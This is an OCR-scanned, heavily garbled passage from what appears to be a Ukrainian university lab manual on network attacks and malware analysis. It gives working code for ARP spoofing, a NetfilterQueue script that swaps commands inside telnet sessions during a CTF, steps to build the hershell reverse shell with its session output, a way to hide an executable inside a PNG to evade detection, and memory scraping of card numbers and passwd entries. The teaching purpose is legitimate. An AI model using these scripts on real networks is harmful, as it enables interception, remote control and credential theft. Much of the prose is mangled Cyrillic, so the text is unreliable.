Nmap scan report for 172.30.0.2

Host is up, received arp-response (0.14s latency).
Scanned at 2019-10-31 01:55:07 EET for 59s

Not shown: 999 closed ports

Reason: 999 resets

PORT STATE SERVICE REASON VERSION

23/tcp open telnet syn-ack ttl 64 Linux telnetd
MAC Address: 02:42:08:48:38:39 (Unknown)

Nmap scan report for 172.30.0.3

Host is up, received arp-respomnse (0.14s latency).

A1l 1000 scanned ports on 172.30.0.3 are closed because of 1000 resets
MAC Address: 02:42:3B:20:25:80 (Unknown)

# arp -a
? (172.30.0.2) at 02:42:08:48:38:39 [ether] on tapO
? (172.30.0.3) at 02:42:3b:20:25:80 [ether] on tapO

3. 3a gonomororo nigminn ARP [98] nepenanpasumo 1iiboBuil Tpadik:

# scapy
>>> p=ARP(op=2, psrc="172.30.0.2", pdst="172.30.0.3", hwdst="02:42:3D
:20:25:80")
>>> p.display ()
###[ ARP J###
hwtype= 0x1
ptype= IPv4
hwlen= None
plen= None
op= is-at
hwsrc= 7e:64:da:84:6c:c7
psrc= 172.30.0.2
hwdst= 02:42:3b:20:25:80
pdst= 172.30.0.3
>>> send(p, loop=True)

>>> p=ARP(op=2, psrc="172.30.0.3", pdst="172.30.0.2", hwdst
="02:42:08:48:38:39")
>>> p.display ()
### [ ARP ]###
hwtype= 0Ox1
ptype= IPv4
hwlen= None
plen= None
op= is-at
hwsrc= 7e:64:da:84:6c:c7
psrc= 172.30.0.3
hwdst= 02:42:08:48:38:39
pdst= 172.30.0.2

>>> send(p, loop=True)
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[Iporec MoxkHa aBTOMaTHU3yBaTH, arpspoof.py:

#!/usr/bin/python2
from scapy.all import x*
from time import sleep

iplt = "172.30.0.2"
hwi = "02:42:08:48:38:39"
ip2 = "172.30.0.3"
hw2 = "02:42:3b:20:25:80"

while True:
p = ARP(op=2, psrc=ipil,
print "spoof hostl:", ‘p
send (p, count=100)

pdst=ip2, hwdst=hw2)
¢

p = ARP(op=2, psrc=ip2,
print "spoof host2:", ‘p
send (p, count=100)

pdst=ipl, hwdst=hwl)
[3

sleep (2)

O6pobHUK MakeTiB mitm.py:

#!/usr/bin/python2
from scapy.all import x*
from netfilterqueue import NetfilterQueue

cmd = "\ncat ~/.ctf_flag\n"

def modify (packet):
p = packet.get_payload()

print "="*10, "packet"
#hexdump (p)

p = IP(p)
#p.display ()
print ‘p¢

if p.sport == 23 or p.dport == 23:
try:
data = p.load
print "\n" + data

if p.dport == 23 and ("cd " in data or "ls " in data):
print "REPLACED", ‘cmd*
p.load = cmd
del p[’IP’].chksum
del p[’IP’].1len
del p[’TCP’].chksum

except Exception as e:
print e
pass

packet.set_payload(str(p))
packet.accept ()

nfqueue = NetfilterQueue ()
#1 is the iptabels rule queue number, modify is the callback function
nfqueue.bind (1, modify)
try:
print "[*] waiting for data"
nfqueue.run ()
except KeyboardInterrupt:
pass

IIpu BusiBsienni makery 3 telnet Tpadikom ta komanmamu ls abo cd, Ko-
MaHIa 3aMiHioeThbed Ha cat ~/.ctf_flag. /lasi mepepaxoByIOThCs KOH-
TPOJIbHI CyMH Ta PO3MIp Hakery (aBTOMATHYHO IICJIs BUIAJIEHHS BiJIIO-
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Bigaux nouis). Ilicis ananizy ta/a6o momudikanii HakeT BiAIpPaBIAETHCS
y Mepexy.

5. Bamycrumo tcpdump jj1st okaly 1 36eperkeHHst TpadiKy Ta IepeHalpaBu-
Mo telnet y crBopeny uepry:

# tcpdump -vvXni tapO0 src or dst port 23
# tcpdump -i tap0 -w dump.pcap src or dst port 23

# iptables -I FORWARD -p tcp --dport 23 -j NFQUEUE --queue-num 1
# iptables -I FORWARD -p tcp --sport 23 -j NFQUEUE --queue-num 1

VY pasi ycuixy gocaignuk orpumye diar gigem{straw_houses_can...}.

Binbm geransuo 3 akruBauMu MITM atakamMu Ta 3aCTOCYBAHHSIMU MOXKHA
o3HaiffomuTHCca Ha (HaKyJIbTATUBHOMY Kypci 3 TexHiuHO! iHdopmaniiHol Oe3me-
ku (https://infosec.kpi.ua ta https://t.me/infosec_kpi). B sikocti npukiais
peKoMeH 1yeMo po3rany Ty inmi 3asmanas Naumachia CTF.

5.3.6 IIporuais MITM

Opanm 3 edpexTuBarx MetoiB nporuaii MITM, mo BukopucroByeThes y IITI3,
e TLS 3 upsmoro nepesipkoio Biakpuroro Kioda cepsepa (certificate pinning)
HA OCHOBI IIPOTOKOJIIB 3 BJIACTUBOCTAME HpsiMOl cekperHocti (forward securi-
ty). PosrusiHemo Ha npukiazi 3acoby simmamenoro kepysanus Hershell [99] ta
TLSv1.3:

1. Posropmemo golang ta hershell:

# apt install golang
# go get github.com/sysdream/hershell
# cd /root/go/src/github.com/sysdream/hershell

2. CrBopuMo cepBepHHUil K04 Ta ceprudikar, 30epeMo BUKOHYBaHUH daita
3 TPUB’I3KOIO JI0 HUX:

# make depends
# make windows64 LHOST=172.16.78.1 LPORT=4433

3. (ommiitno) 3acrocyemo naxkysanbHuK [100] [t 3MEHIIEHHST pO3MIpY:

# wine /root/mpress/mpress.exe hershell.exe

4. Tlepexomtenus Tpadiky Ha iHTepdeiici MiXK cepBepoM KepyBaHHS Ta ITi-
JILOBOIO CHCTEMOIO 3a jornomoroo tcpdump abo Wireshark.

5. Ha CTOpOHi CUCTEeMU KEepPpYBaHHA:
# openssl s_server

Using default temp DH parameters
ACCEPT

6. B minbosiit cuctemi — 3amyck 3paska hershell.exe.

VY pasi ycmixy mochigHuk oTpmMmye Bimmasienuit qoctyn g0 powershell B 1mi-
JIbOBIilI cucTeMi:
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————— BEGIN SSL SESSION PARAMETERS -----

MGOCAQECAgMEBAITAQQgOnhdLDJrxcJ1QsziRxLUdih5044D1aQXw/TAHFZxm1ME

IADWjQZg3emCTheBHCvNMtDOF joKhHPAhLGyef/cYejuoQYCBF6pKWmiBAICHCCk

BgQEAQAAAK4GAgROLnZx

————— END SSL SESSION PARAMETERS -----

Shared ciphers:ECDHE-RSA-AES128-GCM-SHA256:ECDHE -RSA-AES256 -GCM-SHA384 : ECDHE -
ECDSA -AES128 -GCM-SHA256 : ECDHE -ECDSA - AES256 -GCM-SHA384 : ECDHE -RSA - CHACHA20
-POLY1305: ECDHE -ECDSA -CHACHA20 -POLY1305: ECDHE -RSA-AES128 - SHA : ECDHE -ECDSA
-AES128 -SHA : ECDHE -RSA - AES256 - SHA : ECDHE -ECDSA - AES256 -SHA : AES128 -GCM -
SHA256 : AES256 -GCM-SHA384 : AES128 -SHA : AES256 -SHA: TLS_AES_128_GCM_SHA256:
TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384

Signature Algorithms: RSA-PSS+SHA256:ECDSA+SHA256:Ed25519:RSA-PSS+SHA384:RSA-
PSS+SHA512:RSA+SHA256 : RSA+SHA384 : RSA+SHA512: ECDSA+SHA384 : ECDSA+SHA512:
RSA+SHA1 : ECDSA+SHA1

Shared Signature Algorithms: RSA-PSS+SHA256:ECDSA+SHA256:Ed25519:RSA-PSS+
SHA384 :RSA-PSS+SHA512:RSA+SHA256 : RSA+SHA384:RSA+SHA512: ECDSA+SHA384:
ECDSA+SHA512:RSA+SHA1: ECDSA+SHA1

Supported Elliptic Groups: X25519:P-256:P-384:P-521

Shared Elliptic groups: X25519:P-256:P-384:P-521

No server certificate CA names sent

CIPHER is TLS_AES_128_GCM_SHA256

Secure Renegotiation IS NOT supported

[hershell]l> systeminfo /fo csv | ConvertFrom-Csv | select 0S*, Systemx,
Hotfix* | Format-List

0S Name : Microsoft Windows 10 Enterprise Evaluation

0S Version : 10.0.18363 N/A Build 18363

0S Manufacturer : Microsoft Corporation

0S Configuration : Standalone Workstation

0S Build Type : Multiprocessor Free

System Boot Time : 4/26/2020, 7:22:26 AM

System Manufacturer : VMware, Inc.

System Model : VMware Virtual Platform

System Type : x64-based PC

System Directory : C:\Windows\system32

System Locale : en-us;English (United States)

Hotfix (s) : 9 Hotfix(s) Imnstalled.,[01]: KB4537572,[02]: KB4513661

,[03]: KB4516115,[04]: KB4517245,[05]:
KB4521863 ,[06]: KB4537759,[07]: KB4541338,[08]:
KB4552152 ,[09]: KB4549951
[hershell]> whoami
windev2003eval\user

[hershell]l> whoami /groups
Mandatory Label\Medium Mandatory Level

[Ipu cpo6i Bukopucranus MITM 3 posminy 5.3.4 3pa3ok 3aKpuBae 3'€THAHHS

115t peTpOCIIeKTUBHOTO PO3ITU(PYBAHHS IIEPEXOTLIEHOr0 TpadiKy, B TOMY IHCIi
[IpU HASIBHOCTI 3aKPUTOTO KJII0Ya server.key, HeJJOCTaTHbO JIAHUX IIPO CEAHCOBUit
KJIFO4. 3a 3aMOBUYYBaHHAM BUKOPHUCTOBYeThCst TLSv1.3:

$ openssl sess_id -in params.txt -noout -text
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_128_GCM_SHA256
Session-ID:
D2785D2C326BC5C27542CCE24712D4762879A38E0395A417C3F4C01C56719A53
Session-ID-ctx: 01000000
Resumption PSK: 00
D68D0660DDE9824E17811C2BCD32D0F4163A0A8473C084B1B279FFDC61E8SEE
PSK identity: None
PSK identity hint: None
SRP username: None
Start Time: 1588144489
Timeout : 7200 (sec)
Verify return code: 0 (ok)
Extended master secret: no
Max Early Data: O

Coin 3a3HaYMTH, 110 IIPU HASIBHOCTI JIOCTYILY 0 OHEPATHBHOI HAMATI I1JIBO-
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BOI cucTeMu abo cepBepy KepyBaHHs i Tac poboTH, posmudpyBaHis Tpadiky
mozksmse [101].

5.4 BapiaHTH 3aB/JaHb

e Jlomaiite INetSim y Cuckoo Sandbox 3 posniny 3.3.1. IIpoanadisyiite 3-5

spa3kis 3 theZoo [58].

Posropuite OpenVPN 3a gomomororo openvpn-install [102], poGora 3a
nporokosiom TCP. Ha croposi kirienTa BcraHoBiTh 3’¢nants 3 OpenVPN
cepBepom 4depe3 HTTP mnpoxkci. [Ipokci MoxkHA OTprMAaTH 3a JIOIIOMOTOIO
fetch-some-proxies [103] abo onmaita cepsicis.

(ommiitro) 3aminite OpenVPN Ha SoftEther VPN [104].

Honaiire ceprudikar CA mitmproxy y cuucox joBipeHux Ha KjiieHTi (pos-
nin 5.3.4). Ipoanasnisyiire Tpadik Bamoro 3pasky 3 paboparoproi po6o-
T™H 4.

Ilepenecits peamizariio obpobHUKa makeTiB 3 po3zainy 5.3.5 ma Python3
Ta 3amycTiTh Ha nUI03i 3 po3airy 5.3.2. Momudikyiite Tpadik Bamroro
3pa3Ky 3 JiaboparopHoi poboru 4. Bpaxyiite moxkjusicts pparmenTartii
nakeris [105].

Po3pobiTe 3acTocyHok, 1o emyimoe (sinkhole) cepsep kepysanns mis Ba-
III0ro 3pas3Ky 3 JraboparopHol podoru 4, — 30upae indopmariiro mpo Kiienra
Ta TOJIa€ KOMAHJy CAMO3HHITEHHS (3pa3Ky, HE IIIbOBOI cucTeMu). Y BU-
nasky sukopucranus Python ta HTTP(S) 3sepnits ysary ua Flask [106],
CherryPy [107], Tornado [108] Ta Twisted [109].

(migBumenol ckaagnocti) Posmudpyiite Tpadik 3 posmainy 5.3.6 3a ymosu
JocTymy 1o mam’saTi openssl mig gac poboru.

5.5 KoHTposbHI uTaHHA

1.

2.

Yomy y posaii 5.3.2 yepes Whonix Gateway e npairoe ping?

IITo 6yme y o6pobHUKY mitmproxy 3 po3miny 5.3.4 gakimo BeO cepBep BU-
kopucrosye crucHenHs (Content-Encoding: gzip)?

st woro y mitm.py 3 poszainy 5.3.5 “del p[’IP’].chksum™

fki 3 naBegennx y “Shared ciphers” Busosi openssl s__server y pozuiii 5.3.6
MaioTh BaacTtusicte PFS?
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JlabopaTopHa pobora 6

XX ]

AmnaJji3 koHiIryparil

6.1 Meta poborn

OTpuMaTn HABUYKHU aHAJII3Yy HAJAINTYBaHb Ta cepesobuina Bukonawus [I1113
A7 3aJ71a9 pearyBaHHs Ha iHIIWJIEHTH.

6.2 IlocranoBKa 3ajadi

Hocaiguta Metogm poboTH 3 CTPYKTYPOBAHUME JaHUME 3a jioromoroo Kaitai
Struct, munamivnoro amasisy nporecis Windows,/Linux Ta anaJisy cepegoBuiia
eMyJIATOPIB aHTUBIPYCIB.

6.3 Ilopsmok BukoHaHHSA poboTu

6.3.1 AmHaJi3 CTpyKTypPOBaHUX JaHUX

Kondirypariitai 6siokn ta komyHikariiai nporokoau I3 wacro mpemcras-
JISIIOTH cO00I0 CTpyKTypoBaHi Ginapui jgani. OmHUM 3 MiXO/IB /10 3HUYKEHHS
CKJIQ/THOCTI aHaJIi3y Ta PO3POOKH BiJIIOBIIHUX IIPOrpaMHUX 3acO0iB € po3jiie-
HHsI OIUCY JAHUX Ta aJropuT™miB oOpoOku. PosrisHemo Ha npukias Kaitai
Struct [110]. Kaitai Struct — meksmaparusaa mosa onucy Gimapuux dopmaris,
JI03BOJISIE MIBUIKO CTBOPIOBATH Hapcepu OIHADHUX JAHUX JJIsi BEJIMKOI KiJTbKO-
cri MOB nporpamysants (Brirodaoun Python). Ilpoimocrpyemo nepesarn Ha
npukiagl napcepy PNG dopmary 306parkeHb IpH IX 3aCTOCYBaHHI B SIKOCTI
kouTeitnepy s IITI3.

Tax, oqun 3 MeToziB 00x0/My cucreM BusiBjeHHs Bropruenb (NIDS) ra an-
TUBIPYCHUX 3acODiB € mepeiada KOPUCHOTO HaBaHTaxkeHHs y Buryisaai PNG 30-
OparkeHb. 300parkeHHsI I[LOr0 THUILY CTHCHEHI 6€3 BTpaT, MalOTh HETPHUBIAIbHY
CTPYKTYPY 1 aroput™u 1eKojtyBanHs. Po3riisiHeMo B IKOCTH KOPUCHOTO HABAH-
TarkeHHsI BUKOHyBanui aiii chisel [111], Bepcist ocTaHHSI HA MOMEHT PO3POOKU
nocionuka 1.4.0, windows amd64:

$ 1s -1 *exe
-rw-r--r-- 1 user user 8286208 Apr 1 17:33 chisel.exe

$ file *exe
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A 010 Editor - C\test\sample.png - a x

File Edit Search View Format Scripts Templates Debug Tools Window Help

Hag B > A2 e e ¥l 25 »
Startup sample.png X ¥ Workspace = 52
Edit As: Hex Run Script Run Template: PNG.bt Open Files
[ samplepng Citest)
0000n: 89 50 4E 47 0D OA 1A OA 00 00 00 OD 49 48 44 52 # Favorite Files
80108 7 F0 E2 Recent Files

0020n: Bl 00 00 80 00 49 44 41 54 78 DA EC FD 79 5C 13
0030n: D7 F7 30 8E 9F 84 44 A3 A2 13 2B 6A AC A8 Bl BE =x20Z¥,,DE¢ .43 2Z
0040h: BA D5 5A 50 S5A 41 08 64 9C 44 4E 6C 70 6% A9 AS 30ZPZA . dxDN1pi@¥
0050h: 7D DB D6 2E B8 B4 56 AC 12 16 45 08 06 84 69 4C 3006, V..
0060n: AS D& SA 6B 37 5C SA 68 eD AB De 8D CS5 25 11 &4 ¥0Zk7\Zhm«D.A%.d
0070h: 71 8D B5 AD Bl Bé 1A 95 B6é 93 82 15 04 15 OC &4 q.p-19.+9",
0080h: BE 7F 4C 12 02 62 FB 7E 9E E7 F3 FC S5E BF 3F 9E
00S0n: BC S5E BC 48 €& EE 3D DB 3D F7 DC 73 CF BD F7 5C
00AOh: BF D8 DO D7 8A FD 38 91 0B 00 80 D3 &7 81 B1 OC
00BOh: 00 00 40 69 87 7F FD E8 CD 00 FD 64 3B F7 B4 EE
00COn: DB 55 53 56 F4 85 Be BO 4C 15 FS 44 F4 9F F3 A7

Bookmarked Files

00DOh: 3E 18 1C 1D A4 F8 EB 9% EO A8 29 61 BA 3F 9E OE >.:” @E™3) ai?z.
00EOn: FD FB DS C8 50 C7 F3 53 1D Al 8F 4D B8 FB 62 F§  yuOEPGAS. .M. lba v Workspace Er
Template Results - PNG.bt x Inspector - x
Name Value Start Size Color
Type Value
~ struct PNG_SIGNATURE sig Oh gh Fg:  Bg Signed Byte 9
uint16 btPngSignature[4] 0h 2h Fg By Unsigned Byte 0
~ struct PNG_CHUNK chunk[0] IHDR (Critical, Public, Unsafe to Copy)  2h 1%h Fg: By Signed Short 0
uint32 length 13 sh an Fg: By Unsigned Short 0
unien CTYPE type IHOR Ch 4h Fo: IMlEg: Signed Int 1048576
4096 x 2023 (x8) N T ™Y Il Unsonedimt 1048570
uint32 crc TEFOF2B1h 10h 4h ro: Il Ba: Signed Int64 -1798459326110175232
~ struct PNG_CHUNK chunk{1] IDAT (Critical, Public, Unsafeto Copy)  21h 800Ch Fg:  Bg: :’D‘:'?"Ed (25 125:;32;“:_‘;;5993753“
uint32 length 327628 21h 4h Fg By et T
union CTYPE type IDAT 25h 4h Fo: IMEg: Lialf Float 0
ub)ﬁidata[BHBE] nnnnnnnnn ashn %Pooh Eg:-Eg: . String -
= > Inspector Variables Bookmat >
Start: 16[10h]  Sel: 13 [Dh] Size 4120536 ANSI | LT W OWR

Puc. 6.1: Crpykrypa PNG koHnTeiinepa

chisel.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for
MS Windows

Creopuru PNG 3 posinbnoro ¢aiiry MoxkHa 3a gomomoroo ImageMagi-
ck [112]:

$ convert <(echo -e ’P5\n4096 2023\n255’; cat chisel.exe) -strip sample.png

Tyt B sixkocti mpomixkuoro dgopmary sukopuctano Netpbm [113]. ®opmar
Ma€ TEeKCTOBHIl 3arosioBok, P5 — tun (uopHo-6ise 300paxkenHsi), 4096 2023 —
mupuHa Ta BUcoTa 300paxkenusa (4096 x 2023 = 8286208, posmip daiiiny HaBan-
TaykeHHs ), 255 — MakcuMmaJibhe 3nadenns Koubopy (0..255, 6aiir). Ilicis konBep-
TYBaHHA PO3MIp ailly CKOPOTUBCS, IIPU IILOMY JaHi MOXKYTh OyTH BiIHOBJIEH]
6e3 BTpaT:
$ 1s -1 sample.png
-rw-r--r-- 1 user user 4120536 Apr 30 08:18 sample.png

$ sng sample.png
$ cat sample.sng
#SNG: from sample.png
IHDR {
width: 4096; height: 2023; bitdepth: 8;
using grayscale;
¥
IMAGE {
pixels hex
4d5a290000300040000000000f£££00008b000000000. ..

PNG mae HerpuBiaJibHY CTPYKTYPY, JaHi po30uTi Ha OJI0KK 3 KOHTPOJIbHUMHU
cymamu i T.j1. jguB. puc. 6.1. [Iisa mobymou obpobauka y Kaitai Struct samae-
ThCsL OIIUC CTPYKTYpH, pukJa ] crenudikanii PNG [114]. 36epekemo y png.ksy,
HAJIAIITYEMO KOMITLISITOP Ta CTBOpUMO mapcep Jys Python 3:

# apt-key adv --keyserver hkp://pool.sks-keyservers.net --recv 379
CE192D401AB61
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# echo "deb https://dl.bintray.com/kaitai-io/debian jessie main" > /etc/apt/
sources.list.d/kaitai.list

apt update

# apt install kaitai-struct-compiler

pip3 install kaitaistruct

*H*

#*

$ ksc png.ksy -t python

Bukopucraemo creopenuit png.py st napcuary IDAT 6J10kiB, po3makyemo
zlib Ta 3HalizeMo TekcToBl psiyiku y HaBaHTaxkeHHi (y scanline 3 Tuom dinbrpa
0 [115]), _dump.py:

#!/usr/bin/env python3
from png import Png
import zlib

import re

p = Png.from_file("sample.png")
4 = b
for ¢ in p.chunks:
if c.type == ’tEXt’:
print ("text [{}] [{}]".format(c.body.keyword, c.body.text))
elif c.type == ’IDAT’:
u += c.body
u = zlib.decompress (u)
#open("sample.bin", "wb").write (u)

sl = p.ihdr.width
png_filter = {

0 "None",
1 "Sub",
2 : "Up",
3 "Average",
4 "Paeth"
}
for n, i in enumerate(range (0, len(u), sl+1)):
f = uli]
print ("scanline {} offset Ox{:x}, filter {}".format(n, i, png_filter[f]))
if £ == 0:

strings = re.findall(b"\w{4,}", uli+1:i+s1])
if len(strings) > 0:
print (strings)

V pasi ycmixy:

$ ./_dump.py
scanline 0 offset 0x0, filter Average

scanline 1882 offset 0x75a75a, filter None

[b’>golang’, b’crypto’, b’skECDSAPublicKey’, b’Verify’, b’golang’, b’crypto’,
b’skEd25519PublicKey’, b’Type’, b’golang’, b’crypto’, b’parseSKEd25519°,
b’golang’, b’crypto’, b’skEd25519PublicKey’, b’Marshal’, b’golang’, b’
crypto’, b’skEd25519PublicKey’, b’Verify’, b’golang’, b’crypto’, b’
NewSignerFromKey’, b’golang’, b’crypto’, b’newDSAPrivateKey’, b’golang’,
b’crypto’, b’NewSignerFromSigner’, b’golang’, b’crypto’, b’
wrappedSigner’, b’PublicKey’, b’golang’, b’crypto’, b’wrappedSigner’, b’
Sign’, b’golang’, b’crypto’, b’wrappedSigner’, b’SignWithAlgorithm’]

scanline 2021 offset 0x7e57e5, filter None
scanline 2022 offset 0x7e67e6, filter Sub

IMpuknazx qus anamizy koudiryparnii [ITI3 y [116, 117]. Biasme indopmarit
npo Kaitai Struct moxxHa 3HafiTn B mokymenrarii [118].
6.3.2 Amnaniz nam’gaTi nporeciB
Amnautiz mam’sari mporecy I3 3acTocoByeThCs 15T IPOTUIIT METOIAM 3aXUCTY

BiJl craTMaHOrO aHaAI3y, 1 MOXKEe CIPOIILYBATH OTPUMAHHS KOHMIryparii 3pa3ka

72



— 3MEHIITYIOUN Jac peakiiil mpu aHamdisi inmumentis. B gkocTi npukiaga MOXKHA
rmasecru Nymaim [119, 120].

Posrnsanemo meronu anamizy mam’sari nporecis Windows x64 ma npukiasi
HOIIYKY HOMEDIB KpeauTHUX KapTok y mporeci Notepad (momepensbo ckormiiio-
BaHuX 3 Oydepy obminy). Bukopucraemo WinAppDbg [121], Python 2.7 amd64,
mnporec notepad.exe 64 GiTHUIIA.

Beranosumo Python y C:\Python27.amd64, no/1amM0 3a1€KHOCTI:
C:\Python27.amd64\Tools>pip install capstone

C:\Python27.amd64\Tools>pip install sqlalchemy
C:\test\winappdbg-winappdbg_v1.6>install.bat c:\Python27.amd64\python.exe

Amnasiz mam’sri y cc_dump.py:

#!/bin/env python

import winappdbg

from winappdbg import win32
import re

s = winappdbg.System ()
s.request_debug_privileges ()
s.scan_processes ()

for p, path in s.find_processes_by_filename ("notepad.exe"):
pid = p.get_pid()
bits = p.get_bits ()
print "pid %d (%d bits)" % (pid, bits)

mmap = p.get_memory_map ()
mapf = p.get_mapped_filenames (mmap)

for m in mmap:
a = m.BaseAddress
fn = mapf.get(a, None)

if m.has_content ():

print "address Ox%x size Ox%x state OxJ)x protect Ox%x type Oxlx
[%s]" % (a, m.RegionSize, m.State, m.Protect, m.Type, fn)

d = p.read(a, m.RegionSize)

cc = re.findall ("\d{4}-\d{4}-\d{4}-\d{4}", d[::2])

if len(cc) > O0:
print cc
raw_input ()

Amnautizyrorsest Bei poriecn notepad.exe, JIJIst BCIX CerMeHTIB 11aM’siTi BHBO-
JIATBCS ajipeca, aTpudbyTH JOCTYIy Ta im’st Biobpazkenoro daiury. Jlani myka-
IOTBCS 33 PEryJIsSIPHAM BHPA30M. ¥ BUIAJKY YCIIXY Pe3yJbTaTH podOTH MAIOTh
BUIIsT 9K Ha puc. 6.2. Bimbire indopmarii npo moxsmsocti WinAppDbg Ta
0T0 3aCTOCYBaHHS [IUTsd aHATI3y Ta OinapHOro iHcrpymentysanus Windows 3a-
CTOCYBaHb MOYKHA 3HANTH y JoKyMeHTaril [122].

st nocryny o mam’sari nporecis Linux moxkua ckopucrarucek procfs [123].
Hanpukiias, 1minpoBuit mporec:

$ python -c ’__import__("requests").get("https://www.reddit.com/etc/passwd",
headers={"User-Agent":""}) .text;input ()’

IIpouuraemo pesynbrar HTTP 3amuty 3 mam’sTi:

$ pidof python
22458

$ grep heap /proc/22458/maps
56503e42c000-56503eb32000 rw-p 00000000 00:00 0 [heap]

$ dd if=/proc/22458/mem bs=1 skip=$((0x56503e42c000)) count=$((0x56503eb32000
-0x56503e42c000)) | egrep -ao ’.+:::’

root :*%:16583:0:99999:7:::

daemon :*:16583:0:99999:7:::
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B Administrator: C:AWindows\s cmd.exe - _cc_dump.p
Microsoft Windows [Version 18.6.18363.778]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Python27.amd64>_cc_dump.py
pid 6568 (64 bits)
address 0x2f976000 size
address @x2fogeeee size
address 8x7ffe@e0@ size 8x180@ state @x1008 protect @x2 type ©x26eee [None]

address @x7ffef00@ size 0x1000 state 0x1000 protect @x2 type ©x20000 [None]

address 8x2812b2f8@6 size ©x1100@ state 0x1800 protect x4 type 6x2088@ [Mone]
address 8x2812c54000 size ©x3000 state ©x1000 protect ©x4 type ©x20000 [None]
address 8x2236f978@60 size 8x1008@ state Bx1888 protect ex4 type ex4seee []

address ©x2236T980000 size Ox2000@ state 0x1000 protect x4 type 6x20000 [None]
address 8x2236f998@60 size 8x1beee@ state Bx1868 protect ex2 type ex4seee []

address @x2236f0b0060 size Ox400@ state 0x1000 protect ox2 type exdesee []

address @x2236f9ceeee size @x3680@ state @x10@8 protect @x2 type @x4eeee []

address @x2236f0d0@60 size Ox200@ state 0x1000 protect x4 type 6x2080@ [MNone]
address @x2236f2e0000 size Oxc70@0 state Bx1060 protect @x2 type 8x46086@ [C:\Windows
address @x2236fab@@eo size Ox400@ state 0x1000 protect ox2 type éxdesee []

address ®x2236fac8008 size Bx300@ state Bx1888 protect 8x2 type ©x48808 [C:\Windous\
address 8x2236fade@ee size 8x100@ state 0x1000 protect x4 type 6x2088@ [Mone]
address @x2236faec0000 size Ox160@ state @x10@68 protect @x2 type 6x40666 []

address 8x2236faf@@ee size 8x2000 state 0x1800 protect O@x2 type exdesee []

address ©x2236fboeeee size Ox46000 state ©x1066 protect @x8 type ©x46000 []

address 8x2236fb50060 size 8x100@ state 0x1800 protect x4 type 6x2088@ [Mone]
address @x2236fb60000 size @x1ad00 state ©x1000 protect @x2 type ©x40000 [C:\Windows
address 8x2236fb36860 size 8x1008@ state @x1800 protect @x4 type 6x2@88@ [None]
address 8x2236fb90000 size Ox4000 state Ox1000 protect Ox2 type @x4ee000 []

address 8x2236fba@eee size 8x7ceee@ state Bx1868 protect x4 type ex2e8eee [NMone]
['6271-7012-2597-9642°, '6862-8267-8627-6634°, '6634-0325-2897-3614°,
67-4659-5650", '5425-2334-3010-9903°, '5200-5339-8955-7118°, '5011-0544-8859-7827",
200", '4@07-7028-3553-2454", "4001-9192-5753-7193°, "3566-0000-2000-0410°,
22-4200-0000-1113", "6362-9700-0045-7013°, '6271-7812-2597-9642°,
561-9896', '6011-0089-9130-0009', '5895-6267-4659-5650°, '5425-2334-3010-9903°,
, '4017-4845-8089-7167', '4263-9826-4826-9299', '46@7-7828-3553-2454",
113-3330-0000°, '2223-0000-4841-0010°, '2222-4200-0000-1113°, '6362-9700-0045-70813°,
6634", '6634-9325-2897-3614', '6034-8832-6561-9896', '6611-0669-9130-66069°,
260-5339-8955-7118", '5811-8544-8859-7827", "4917-4845-8989-7107",
5753-7193", '3566-8000-2000-0410°', '3530-1113-3330-0000°, '2223-0000-4841-0818°,

ox1608
exleee

state
state

@x1808 protect
@x1ee@ protect

ax4 type
@x4 type

ox2eeee [None]
ex2e0ee [None]

'6@34-8832-6561-9896",

"3530-1113-3330-0000°,
"6862-8267-8627-6634",

I *Untitled - Notepad

File Edit Fermat
6362-9700-0045-7013
6271-7012-2597-9642
6062-8267-8627-6634
6034-9325-2897-3614
6034-8832-6561-9896
6011-8009-9138-8809
5895-6267-4659-5650
5425-2334-3@10-9903
5200-5339-8955-7118
5011-0544-8859-7827
4917 -4845-8989-7187
4263-9826-4826-9299
4007-7028-3553-2454
4001-9192-5753-7193
3566-0000-2000-8410
3530-1113-3330-8000
2223-0000-4841-8010
2222-4200-00008-1113)

100%  Windows (CRLF)

View Help

O

UTF-8

"4917-4845-8989-7187 ",

'6@11-0089-9130-8009",

'2223-0000-4841-0010°,
"6834-9325-2897-3614 ",
'5260-5339-8055-7118",
'4881-9102-5753-7193', '3566-0000-2008-8416",
'6271-7012-2597-9642",
'5895-6267-4659-5658",
'4263-9826-4826-9299°,

'5425-2334-3@16-9983",
'4007-7028-3553-2454",
'2222-4200-0000-1113"]

'5895-62
"4263-9826-4826-9
‘22
"6834-8832-6

'5811-8544-8850-7827"

"3538-1
' 60862-8267-8627 -
's
'4001-9192-

Puc. 6.2: PesysibraTru anajisy mam’siTi mporecy

bin:*:16583:0:99999:7
sys:%:16583:0:99999:7
sync:%:16583:0:99999:7
games :*%:16583:0:99999:
man:*:16583:0:99999:7:
lp:*:16583:0:99999:7:
mail :*:16583:0:99999:7:
news :*:16583:0:99999:7
uucp:*:16583:0:99999:7
proxy:*:16583:0:99999:7
www-data:*:16583:0:99999:7:::
backup :*:16583:0:99999:7
list :%:16583:0:99999:7:
irc:%:16583:0:99999:
gnats :*:16583:0:99999:
nobody :*:16583:0:99999:7
libuuid:!:16583:0:99999:
syslog:%:16583:0:99999:7:::
messagebus :*:16583:0:99999:7:::
landscape:*:16583:0:99999:7:::
sshd :*:16583:0:99999:7:::

pollinate :%:16583:0:99999:7:::
puppet :*:16584:0:99999:7
memcache :!:16727:0:99999:7:::
ntp:*:16727:0:99999:7:::

snmp :*:16727:0:99999:7:
spez: $1$$GbKAWZMpXZgmY1Q+H3/68Q==:16727:0:99999:7:::
daniel:$1$$X03M01qnZdYdgyfeuILPmQ==:16727:0:99999:7:

spladug: $1$$Xee7PCMnQfRh88zRPBunoA==:16727:0:99999:7:::

neil:$1$$KrljkMEfb400d500MmwsXZw==:16727:0:99999:7:::
neal:$1$$Xr4i102zQ4PC0q3aQ0qbuaQ==:16727:0:99999:7:::
sam: $1$$Btg0sMULSaUJtJI8kJ0jIBQ==:16727:0:99999:7:::
neel:$1$$0HfyRN74puwbepli9g1L82A==:16727:0:99999:7:::
kneel:$1$$g+Spau2WQ2xiG5gJ41izCQ==:16727:0:99999:7::

kevin: $1$$y0jfiVwsrhZrrQJ/3xUzWw==:16727:0:99999:7
kavin: $1$$31PKJoJAynZnDIVm71RWig==:16727:0:99999:7:
kovin: $1$$G43Qgw1Fk60IrzganMC2WA==:16727:0:99999:7::
powerlanguage: $1$$A9kE9Zud+aPy76hqmMj31Q==:16727:0

